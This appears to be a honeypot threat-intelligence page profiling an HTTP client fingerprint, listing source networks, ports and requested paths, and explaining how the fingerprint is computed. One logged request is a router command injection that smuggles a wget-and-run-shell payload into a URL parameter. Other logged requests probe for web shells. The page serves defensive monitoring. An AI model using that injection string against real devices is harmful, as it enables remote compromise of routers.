HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

a11cun010_00000008_c4b2c4aa

Seen 2026-09-22 to 2026-09-24 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS398324 sends an email when it next hits a sensor.

400

Source IPs

14

Networks

9

Countries

3.0K

Ports hit

4.5K

Events

29

IPs / network

Top networks

AS398324 Censys, Inc.259 IPs2.0K
AS398722 Censys, Inc.95 IPs297
AS6939 Hurricane Electric LLC17 IPs23
AS398705 Censys, Inc.16 IPs1.9K
AS135377 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED3 IPs3
AS8075 Microsoft Corporation2 IPs239
AS4766 Korea Telecom1 IPs14
AS218785 Tc Datacenter Limited1 IPs7
AS202412 Omegatech LTD1 IPs5
AS48090 Techoff Srv Limited1 IPs2
AS12989 Black HOST Ltd1 IPs1
AS4134 Chinanet1 IPs1

Countries

US 390KR 2DE 2HK 1LT 1NL 1CA 1CN 1TW 1

Ports targeted

80/tcp 2564839/tcp 171961/tcp 154841/tcp 1318789/tcp 131962/tcp 134840/tcp 126699/tcp 118080/tcp 1118246/tcp 115938/tcp 103260/tcp 10

What it requests

GET/4.2K
GET/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)14
GET/version11
GET/jmx?qry=Hadoop:service=DataNode,name=DataNodeInfo8
GET/jmx?qry=Hadoop:service=NameNode,name=NameNodeInfo7
GET/alfa.php2
GET/wp-admin/css/colors/sunrise/2
GET/1.php2
GET/this_is_a_new_hello_world.php2
GET///admin.php2
GET/mac.php2
GET/chosen.php2
Source IPCCNetwork Last seenEvents
20.205.12.169HKAS8075 Microsoft Corporation2026-09-23154
167.94.146.60USAS398705 Censys, Inc.2026-09-24143
167.94.146.61USAS398705 Censys, Inc.2026-09-24137
167.94.146.56USAS398705 Censys, Inc.2026-09-24131
167.94.146.50USAS398705 Censys, Inc.2026-09-24131
167.94.146.59USAS398705 Censys, Inc.2026-09-24124
167.94.146.55USAS398705 Censys, Inc.2026-09-24123
167.94.146.49USAS398705 Censys, Inc.2026-09-24118
167.94.146.62USAS398705 Censys, Inc.2026-09-24116
167.94.146.51USAS398705 Censys, Inc.2026-09-24112
167.94.146.57USAS398705 Censys, Inc.2026-09-24112
167.94.146.48USAS398705 Censys, Inc.2026-09-24110
167.94.146.52USAS398705 Censys, Inc.2026-09-24106
167.94.146.54USAS398705 Censys, Inc.2026-09-24104
167.94.146.53USAS398705 Censys, Inc.2026-09-24103
167.94.146.63USAS398705 Censys, Inc.2026-09-24103
167.94.146.58USAS398705 Censys, Inc.2026-09-24100
52.231.69.245KRAS8075 Microsoft Corporation2026-09-2485
66.132.172.43USAS398324 Censys, Inc.2026-09-2416
66.132.195.62USAS398324 Censys, Inc.2026-09-2415

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

a10cun010_00000008_c4b2c4aasame header set36 IPs282a10lun000_00000000_334359b91 header apart357 IPs1.6Ka11cun020_00000048_724c10fb1 header apart176 IPs820a10cun020_0000000a_78f1f19c1 header apart174 IPs620a11cun020_00000009_0a8d7f111 header apart382 IPs614a10cun020_00000048_724c10fb1 header apart3 IPs248a11cun064_00000048_f2f3ae251 header apart2 IPs113a11cun031_00000048_e62b6d851 header apart2 IPs113

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.